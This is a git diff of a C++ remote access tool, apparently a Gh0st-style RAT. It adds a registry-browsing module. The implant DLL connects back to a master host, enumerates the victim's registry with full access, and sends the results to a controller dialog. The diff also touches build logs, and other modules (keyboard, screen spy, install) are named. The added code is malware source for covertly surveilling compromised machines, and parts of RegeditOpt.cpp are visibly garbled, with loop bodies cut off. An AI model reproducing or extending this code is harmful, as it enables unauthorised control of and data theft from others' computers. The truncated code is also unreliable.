diff --git a/CcMainDll/.vs/CcMainDll/v15/.suo b/CcMainDll/.vs/CcMainDll/v15/.suo
index 6ed53fd..ce19dbd 100644
Binary files a/CcMainDll/.vs/CcMainDll/v15/.suo and b/CcMainDll/.vs/CcMainDll/v15/.suo differ
diff --git a/CcMainDll/CcMainDll/CcMainDll.vcxproj b/CcMainDll/CcMainDll/CcMainDll.vcxproj
index 164d40c..1791e7e 100644
--- a/CcMainDll/CcMainDll/CcMainDll.vcxproj
+++ b/CcMainDll/CcMainDll/CcMainDll.vcxproj
@@ -188,6 +188,8 @@
+
+
@@ -255,6 +257,12 @@
..\pch.h
..\pch.h
+
+ ..\pch.h
+
+
+ ..\pch.h
+
..\pch.h
..\pch.h
diff --git a/CcMainDll/CcMainDll/CcMainDll.vcxproj.filters b/CcMainDll/CcMainDll/CcMainDll.vcxproj.filters
index 6baa4be..8f777ef 100644
--- a/CcMainDll/CcMainDll/CcMainDll.vcxproj.filters
+++ b/CcMainDll/CcMainDll/CcMainDll.vcxproj.filters
@@ -93,6 +93,12 @@
头文件
+
+ 头文件
+
+
+ 头文件
+
@@ -161,5 +167,11 @@
源文件
+
+ 源文件
+
+
+ 源文件
+
\ No newline at end of file
diff --git a/CcMainDll/CcMainDll/Debug/CcMainDll.log b/CcMainDll/CcMainDll/Debug/CcMainDll.log
index 1cb3c33..ead002a 100644
--- a/CcMainDll/CcMainDll/Debug/CcMainDll.log
+++ b/CcMainDll/CcMainDll/Debug/CcMainDll.log
@@ -56,23 +56,23 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 's
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
KernelManager.cpp
-f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(193): warning C4838: 从“int”转换到“char”需要收缩转换
-f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(193): warning C4309: “初始化”: 截断常量值
-f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(219): warning C4838: 从“int”转换到“char”需要收缩转换
-f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(219): warning C4309: “初始化”: 截断常量值
-f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(257): warning C4838: 从“int”转换到“char”需要收缩转换
-f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(257): warning C4309: “初始化”: 截断常量值
-f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(276): warning C4838: 从“int”转换到“char”需要收缩转换
-f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(276): warning C4309: “初始化”: 截断常量值
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(194): warning C4838: 从“int”转换到“char”需要收缩转换
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(194): warning C4309: “初始化”: 截断常量值
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(220): warning C4838: 从“int”转换到“char”需要收缩转换
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(220): warning C4309: “初始化”: 截断常量值
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(258): warning C4838: 从“int”转换到“char”需要收缩转换
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(258): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(277): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(277): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(278): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(278): warning C4309: “初始化”: 截断常量值
-f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(311): warning C4838: 从“int”转换到“char”需要收缩转换
-f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(311): warning C4309: “初始化”: 截断常量值
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(279): warning C4838: 从“int”转换到“char”需要收缩转换
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(279): warning C4309: “初始化”: 截断常量值
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(312): warning C4838: 从“int”转换到“char”需要收缩转换
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(312): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配
-f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(150): warning C4838: 从“int”转换到“char”需要收缩转换
-f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(150): warning C4309: “初始化”: 截断常量值
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(154): warning C4838: 从“int”转换到“char”需要收缩转换
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(154): warning C4309: “初始化”: 截断常量值
KeyboardManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: “<”: 有符号/无符号不匹配
@@ -100,6 +100,23 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(124): warning C4996:
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(151): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
+ RegeditOpt.cpp
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(71): warning C4305: “=”: 从“”到“char”截断
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(71): warning C4309: “=”: 截断常量值
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(83): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+ d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(55): warning C4101: “DateSize”: 未引用的局部变量
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(54): warning C4101: “Type”: 未引用的局部变量
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(54): warning C4101: “NameSize”: 未引用的局部变量
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(126): warning C4305: “=”: 从“”到“char”截断
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(126): warning C4309: “=”: 截断常量值
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(164): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+ d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(98): warning C4101: “szKeyName”: 未引用的局部变量
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(106): warning C4101: “KeySize”: 未引用的局部变量
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(182): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+ d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
+ RegManager.cpp
ScreenManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: “_WIN32_WINNT”: 宏重定义
d:\windows kits\10\include\10.0.17763.0\shared\sdkddkver.h(216): note: 参见“_WIN32_WINNT”的前一个定义
@@ -125,6 +142,7 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(35): warning C4309:
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(124): warning C4101: “gCapTureParms”: 未引用的局部变量
VideoManager.cpp
正在生成代码...
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(113): warning C4700: 使用了未初始化的局部变量“NameSize”
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
FileManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(213): warning C4838: 从“int”转换到“char”需要收缩转换
diff --git a/CcMainDll/CcMainDll/common/KernelManager.cpp b/CcMainDll/CcMainDll/common/KernelManager.cpp
index fc0bbd8..d82ecba 100644
--- a/CcMainDll/CcMainDll/common/KernelManager.cpp
+++ b/CcMainDll/CcMainDll/common/KernelManager.cpp
@@ -98,6 +98,10 @@ void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ServicesManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
+ case COMMAND_REGEDIT: //ע
+ m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_RegeditManager,
+ (LPVOID)m_pClient->m_Socket, 0, NULL);
+ break;
case COMMAND_OPEN_URL_SHOW: // ʾҳ
OpenURL((LPCTSTR)(lpBuffer + 1), SW_SHOWNORMAL);
break;
diff --git a/CcMainDll/CcMainDll/common/RegManager.cpp b/CcMainDll/CcMainDll/common/RegManager.cpp
new file mode 100644
index 0000000..265fd47
--- /dev/null
+++ b/CcMainDll/CcMainDll/common/RegManager.cpp
@@ -0,0 +1,55 @@
+// RegManager.cpp: implementation of the CRegManager class.
+//
+//////////////////////////////////////////////////////////////////////
+
+#include "..\pch.h"
+#include "RegManager.h"
+#include "RegeditOpt.h"
+//////////////////////////////////////////////////////////////////////
+// Construction/Destruction
+//////////////////////////////////////////////////////////////////////
+
+CRegManager::CRegManager(CClientSocket *pClient):CManager(pClient)
+{
+ BYTE bToken=TOKEN_REGEDIT;
+ Send((BYTE*)&bToken,1);
+}
+
+CRegManager::~CRegManager()
+{
+
+}
+
+void CRegManager::Find(char bToken, char *path)
+{
+ RegeditOpt reg(bToken);
+ if(path!=NULL){
+ reg.SetPath(path);
+ }
+ char *tmp= reg.FindPath();
+ if(tmp!=NULL){
+ Send((LPBYTE)tmp, LocalSize(tmp));
+ LocalFree(tmp);
+ }
+ char* tmpd=reg.FindKey();
+
+ if(tmpd!=NULL){
+ Send((LPBYTE)tmpd, LocalSize(tmpd));
+ LocalFree(tmpd);
+ }
+}
+
+void CRegManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
+{
+ switch (lpBuffer[0]){
+ case COMMAND_REG_FIND: //
+ if(nSize>=3){
+ Find(lpBuffer[1],(char*)(lpBuffer+2));
+ }else{
+ Find(lpBuffer[1],NULL);
+ }
+ break;
+ default:
+ break;
+ }
+}
diff --git a/CcMainDll/CcMainDll/common/RegManager.h b/CcMainDll/CcMainDll/common/RegManager.h
new file mode 100644
index 0000000..544c86a
--- /dev/null
+++ b/CcMainDll/CcMainDll/common/RegManager.h
@@ -0,0 +1,25 @@
+// RegManager.h: interface for the CRegManager class.
+//
+//////////////////////////////////////////////////////////////////////
+
+#if !defined(AFX_REGMANAGER_H__F3FCEB28_905E_4637_9A9E_F3F8907FB3BF__INCLUDED_)
+#define AFX_REGMANAGER_H__F3FCEB28_905E_4637_9A9E_F3F8907FB3BF__INCLUDED_
+
+#if _MSC_VER > 1000
+#pragma once
+#endif // _MSC_VER > 1000
+
+#include "Manager.h"
+
+class CRegManager : public CManager
+{
+public:
+ void OnReceive(LPBYTE lpBuffer, UINT nSize);
+ CRegManager(CClientSocket *pClient);
+ virtual ~CRegManager();
+
+protected:
+ void Find(char bToken,char* path);
+};
+
+#endif // !defined(AFX_REGMANAGER_H__F3FCEB28_905E_4637_9A9E_F3F8907FB3BF__INCLUDED_)
diff --git a/CcMainDll/CcMainDll/common/RegeditOpt.cpp b/CcMainDll/CcMainDll/common/RegeditOpt.cpp
new file mode 100644
index 0000000..85bb369
--- /dev/null
+++ b/CcMainDll/CcMainDll/common/RegeditOpt.cpp
@@ -0,0 +1,183 @@
+// RegeditOpt.cpp: implementation of the RegeditOpt class.
+//
+//////////////////////////////////////////////////////////////////////
+
+#include "..\pch.h"
+#include "RegeditOpt.h"
+#include "..\..\..\common\macros.h"
+#include
+#include
+//////////////////////////////////////////////////////////////////////
+// Construction/Destruction
+//////////////////////////////////////////////////////////////////////
+
+RegeditOpt::RegeditOpt()
+{
+
+}
+
+RegeditOpt::RegeditOpt(char b)
+{
+ switch(b){
+ case MHKEY_CLASSES_ROOT:
+ MKEY=HKEY_CLASSES_ROOT;
+ break;
+ case MHKEY_CURRENT_USER:
+ MKEY=HKEY_CURRENT_USER;
+ break;
+ case MHKEY_LOCAL_MACHINE:
+ MKEY=HKEY_LOCAL_MACHINE;
+ break;
+ case MHKEY_USERS:
+ MKEY=HKEY_USERS;
+ break;
+ case MHKEY_CURRENT_CONFIG:
+ MKEY=HKEY_CURRENT_CONFIG;
+ break;
+ default:
+ MKEY=HKEY_LOCAL_MACHINE;
+ break;
+ }
+ ZeroMemory(KeyPath,MAX_PATH);
+}
+RegeditOpt::~RegeditOpt()
+{
+
+}
+
+char* RegeditOpt::FindPath()
+{
+ char *buf=NULL;
+ HKEY hKey; //עؾ
+ if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS)//
+ {
+ DWORD dwIndex=0,NameSize,NameCnt,NameMaxLen,Type;
+ DWORD KeySize,KeyCnt,KeyMaxLen,DateSize,MaxDateLen;
+ //ö
+ if(RegQueryInfoKey(hKey,NULL,NULL,NULL,&KeyCnt,&KeyMaxLen,NULL,&NameCnt,&NameMaxLen,&MaxDateLen,NULL,NULL)!=ERROR_SUCCESS)
+ {
+
+ return NULL;
+ }
+ //һ㱣ʩ
+ KeySize=KeyMaxLen+1;
+ if(KeyCnt>0&&KeySize>1){
+ int size=sizeof(REGMSG)+1;
+
+ //buf=new char[KeyCnt*KeySize+size+1];
+ DWORD datasize=KeyCnt*KeySize+size+1;
+ buf=(char*)LocalAlloc(LPTR, datasize);
+ ZeroMemory(buf,datasize);
+ buf[0]=TOKEN_REG_PATH; //ͷ
+ REGMSG msg; //ͷ
+ msg.size=KeySize;
+ msg.count=KeyCnt;
+ memcpy(buf+1,(void*)&msg,size);
+
+ char * tmp=new char[KeySize];
+ for(dwIndex=0;dwIndex0&&MaxDateLen>0&&NameSize>0)
+ {
+ DataSize=MaxDateLen+1;
+ NameSize=NameMaxLen+100;
+ REGMSG msg;
+ msg.count=NameCnt; //ܸ
+ msg.size=NameSize; //ִС
+ msg.valsize=DataSize; //ݴС
+ int msgsize=sizeof(REGMSG);
+ // ͷ
+ DWORD size=sizeof(REGMSG)+ sizeof(BYTE)*NameCnt+ NameSize*NameCnt+DataSize*NameCnt+10;
+ buf=(char*)LocalAlloc(LPTR, size);
+ ZeroMemory(buf,size);
+ buf[0]=TOKEN_REG_KEY; //ͷ
+ memcpy(buf+1,(void*)&msg,msgsize); //ͷ
+
+ szValueName=(char *)malloc(NameSize);
+ szValueDate=(LPBYTE)malloc(DataSize);
+
+ char *tmp=buf+msgsize+1;
+ for(dwIndex=0;dwIndex 1000
+#pragma once
+#endif // _MSC_VER > 1000
+
+
+enum MYKEY{
+ MHKEY_CLASSES_ROOT,
+ MHKEY_CURRENT_USER,
+ MHKEY_LOCAL_MACHINE,
+ MHKEY_USERS,
+ MHKEY_CURRENT_CONFIG
+};
+enum KEYVALUE{
+ MREG_SZ,
+ MREG_DWORD,
+ MREG_BINARY,
+ MREG_EXPAND_SZ
+};
+
+struct REGMSG{
+ int count; //ָ
+ DWORD size; //ִС
+ DWORD valsize; //ֵС
+
+};
+class RegeditOpt
+{
+public:
+ void SetPath(char *path);
+ char* FindKey();
+ char* FindPath();
+ RegeditOpt();
+ RegeditOpt(char b);
+ virtual ~RegeditOpt();
+
+protected:
+ char KeyPath[MAX_PATH];
+ HKEY MKEY;
+};
+
+#endif // !defined(AFX_REGEDITOPT_H__4840C10B_6BD5_4F6A_A6E8_16BB38516358__INCLUDED_)
diff --git a/CcMainDll/CcMainDll/common/loop.h b/CcMainDll/CcMainDll/common/loop.h
index 9a04927..fdf75ce 100644
--- a/CcMainDll/CcMainDll/common/loop.h
+++ b/CcMainDll/CcMainDll/common/loop.h
@@ -9,6 +9,7 @@
#include "SystemManager.h"
#include "KeyboardManager.h"
#include "ServerManager.h"
+#include "RegManager.h"
#include "..\StrCry.h"
#include "until.h"
#include "install.h"
@@ -322,10 +323,10 @@ void SetHostID(LPCTSTR lpServiceName, LPCTSTR lpHostID)
}
-//߳
+// ߳
DWORD WINAPI Loop_ServicesManager(SOCKET sRemote)
{
- OutputDebugString("DWORD WINAPI Loop_ServicesManager(SOCKET sRemote)");
+ //OutputDebugString("DWORD WINAPI Loop_ServicesManager(SOCKET sRemote)");
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
@@ -337,5 +338,20 @@ DWORD WINAPI Loop_ServicesManager(SOCKET sRemote)
return 0;
}
+// ע
+DWORD WINAPI Loop_RegeditManager(SOCKET sRemote)
+{
+ CClientSocket socketClient;
+ if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
+ return -1;
+
+ CRegManager manager(&socketClient);
+
+ socketClient.run_event_loop();
+
+ return 0;
+}
+
+
#endif // !defined(AFX_LOOP_H_INCLUDED)
diff --git a/CcRemote/.vs/CcRemote/v15/.suo b/CcRemote/.vs/CcRemote/v15/.suo
index 7b3221e..b43d7c9 100644
Binary files a/CcRemote/.vs/CcRemote/v15/.suo and b/CcRemote/.vs/CcRemote/v15/.suo differ
diff --git a/CcRemote/CcRemote/CcRemote.rc b/CcRemote/CcRemote/CcRemote.rc
index 8e62e57..c88672e 100644
Binary files a/CcRemote/CcRemote/CcRemote.rc and b/CcRemote/CcRemote/CcRemote.rc differ
diff --git a/CcRemote/CcRemote/CcRemote.vcxproj b/CcRemote/CcRemote/CcRemote.vcxproj
index 6a53757..cdec20b 100644
--- a/CcRemote/CcRemote/CcRemote.vcxproj
+++ b/CcRemote/CcRemote/CcRemote.vcxproj
@@ -227,6 +227,7 @@
+
@@ -269,6 +270,7 @@
Create
Create
+
diff --git a/CcRemote/CcRemote/CcRemote.vcxproj.filters b/CcRemote/CcRemote/CcRemote.vcxproj.filters
index 7e4928a..1959017 100644
--- a/CcRemote/CcRemote/CcRemote.vcxproj.filters
+++ b/CcRemote/CcRemote/CcRemote.vcxproj.filters
@@ -96,6 +96,9 @@
头文件
+
+ 头文件
+
@@ -155,6 +158,9 @@
源文件
+
+ 源文件
+
diff --git a/CcRemote/CcRemote/CcRemoteDlg.cpp b/CcRemote/CcRemote/CcRemoteDlg.cpp
index d79e8af..eb8936b 100644
--- a/CcRemote/CcRemote/CcRemoteDlg.cpp
+++ b/CcRemote/CcRemote/CcRemoteDlg.cpp
@@ -8,6 +8,7 @@
#include "CcRemoteDlg.h"
#include "afxdialogex.h"
#include "CSettingDlg.h"
+#include "RegDlg.h"
#include "..\..\common\macros.h"
@@ -87,7 +88,8 @@ BEGIN_MESSAGE_MAP(CCcRemoteDlg, CDialogEx)
ON_MESSAGE(WM_OPENMANAGERDIALOG, OnOpenManagerDialog)
ON_MESSAGE(WM_OPENAUDIODIALOG, OnOpenAudioDialog)
ON_MESSAGE(WM_OPENSERVERDIALOG, OnOpenServerDialog)
-
+ ON_MESSAGE(WM_OPENREGEDITDIALOG, OnOpenRegEditDialog)
+
//-------------系统-------------
ON_WM_SYSCOMMAND()
ON_WM_PAINT()
@@ -553,6 +555,8 @@ void CCcRemoteDlg::OnOnlineProcess()
void CCcRemoteDlg::OnOnlineRegist()
{
// TODO: 在此添加命令处理程序代码
+ BYTE bToken = COMMAND_REGEDIT;
+ SendSelectCommand(&bToken, sizeof(BYTE));
}
@@ -813,6 +817,8 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
case SERVER_DLG:
((CServerDlg *)dlg)->OnReceiveComplete();
break;
+ case REGEDIT_DLG:
+ ((CRegDlg *)dlg)->OnReceiveComplete();
default:
break;
}
@@ -879,6 +885,9 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
case TOKEN_SERVERLIST:
g_pCcRemoteDlg->PostMessage(WM_OPENSERVERDIALOG, 0, (LPARAM)pContext);
break;
+ case TOKEN_REGEDIT:
+ g_pCcRemoteDlg->PostMessage(WM_OPENREGEDITDIALOG, 0, (LPARAM)pContext);
+ break;
// 命令停止当前操作
default:
closesocket(pContext->m_Socket);
@@ -1095,7 +1104,7 @@ LRESULT CCcRemoteDlg::OnOpenServerDialog(WPARAM wParam, LPARAM lParam)
ClientContext *pContext = (ClientContext *)lParam;
CServerDlg *dlg = new CServerDlg(this, m_iocpServer, pContext); //动态创建CSystemDlg
- // 设置父窗口为卓面
+ // 设置父窗口为桌面
dlg->Create(IDD_SERVERDLG, GetDesktopWindow()); //创建对话框
dlg->ShowWindow(SW_SHOW); //显示对话框
@@ -1105,6 +1114,22 @@ LRESULT CCcRemoteDlg::OnOpenServerDialog(WPARAM wParam, LPARAM lParam)
return 0;
}
+//注册表管理窗口
+LRESULT CCcRemoteDlg::OnOpenRegEditDialog(WPARAM wParam, LPARAM lParam)
+{
+ ClientContext *pContext = (ClientContext *)lParam;
+ CRegDlg *dlg = new CRegDlg(this, m_iocpServer, pContext); //动态创建CSystemDlg
+
+ // 设置父窗口为桌面
+ dlg->Create(IDD_DIALOG_REGEDIT, GetDesktopWindow()); //创建对话框
+ dlg->ShowWindow(SW_SHOW); //显示对话框
+
+ pContext->m_Dialog[0] = REGEDIT_DLG; //这个值用做服务端再次发送数据时的标识
+ pContext->m_Dialog[1] = (int)dlg;
+ //先看一下这个对话框的界面再看这个对话框类的构造函数
+ return 0;
+}
+
//绘制背景图片
BOOL CCcRemoteDlg::OnEraseBkgnd(CDC* pDC)
{
diff --git a/CcRemote/CcRemote/CcRemoteDlg.h b/CcRemote/CcRemote/CcRemoteDlg.h
index 4e94d65..68c3673 100644
--- a/CcRemote/CcRemote/CcRemoteDlg.h
+++ b/CcRemote/CcRemote/CcRemoteDlg.h
@@ -107,6 +107,7 @@ public:
afx_msg LRESULT OnOpenManagerDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenAudioDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenServerDialog(WPARAM, LPARAM);
+ afx_msg LRESULT OnOpenRegEditDialog(WPARAM, LPARAM);
//-------------系统消息处理-------------
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
diff --git a/CcRemote/CcRemote/Debug/CcRemote.Build.CppClean.log b/CcRemote/CcRemote/Debug/CcRemote.Build.CppClean.log
deleted file mode 100644
index 6c4c044..0000000
--- a/CcRemote/CcRemote/Debug/CcRemote.Build.CppClean.log
+++ /dev/null
@@ -1,36 +0,0 @@
-f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.pch
-f:\myapp\ccremote\ccremote\ccremote\debug\vc141.pdb
-f:\myapp\ccremote\ccremote\ccremote\debug\vc141.idb
-f:\myapp\ccremote\ccremote\ccremote\debug\pch.obj
-f:\myapp\ccremote\ccremote\ccremote\debug\audio.obj
-f:\myapp\ccremote\ccremote\ccremote\debug\truecolortoolbar.obj
-f:\myapp\ccremote\ccremote\ccremote\debug\seu_qqwry.obj
-f:\myapp\ccremote\ccremote\ccremote\debug\inputdlg.obj
-f:\myapp\ccremote\ccremote\ccremote\debug\inifile.obj
-f:\myapp\ccremote\ccremote\ccremote\debug\cpuusage.obj
-f:\myapp\ccremote\ccremote\ccremote\debug\csystemdlg.obj
-f:\myapp\ccremote\ccremote\ccremote\debug\cshelldlg.obj
-f:\myapp\ccremote\ccremote\ccremote\debug\csettingdlg.obj
-f:\myapp\ccremote\ccremote\ccremote\debug\cscreenspydlg.obj
-f:\myapp\ccremote\ccremote\ccremote\debug\filetransfermodedlg.obj
-f:\myapp\ccremote\ccremote\ccremote\debug\cserverdlg.obj
-f:\myapp\ccremote\ccremote\ccremote\debug\cfilemanagerdlg.obj
-f:\myapp\ccremote\ccremote\ccremote\debug\ccremotedlg.obj
-f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.obj
-f:\myapp\ccremote\ccremote\ccremote\debug\caudiodlg.obj
-f:\myapp\ccremote\ccremote\ccremote\debug\iocpserver.obj
-f:\myapp\ccremote\ccremote\ccremote\debug\buffer.obj
-f:\myapp\ccremote\bin\ccremote.ilk
-f:\myapp\ccremote\bin\ccremote.exe
-f:\myapp\ccremote\bin\ccremote.pdb
-f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.res
-f:\myapp\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe
-f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.command.1.tlog
-f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.read.1.tlog
-f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.write.1.tlog
-f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.command.1.tlog
-f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.read.1.tlog
-f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.write.1.tlog
-f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.command.1.tlog
-f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.read.1.tlog
-f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.write.1.tlog
diff --git a/CcRemote/CcRemote/Debug/CcRemote.log b/CcRemote/CcRemote/Debug/CcRemote.log
index 50c6513..c5feb8b 100644
--- a/CcRemote/CcRemote/Debug/CcRemote.log
+++ b/CcRemote/CcRemote/Debug/CcRemote.log
@@ -1,77 +1,7 @@
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
- pch.cpp
- Audio.cpp
-f:\myapp\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配
- CAudioDlg.cpp
-f:\myapp\ccremote\ccremote\ccremote\caudiodlg.cpp(29): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
- d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
- CcRemote.cpp
- CcRemoteDlg.cpp
-f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(166): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
- d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
-f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(171): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
- d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
-f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(314): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
-f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(337): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
-f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(838): warning C4018: “<=”: 有符号/无符号不匹配
-f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(923): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
- d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
- CFileManagerDlg.cpp
-f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(81): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
- d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(360): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
-f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(361): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
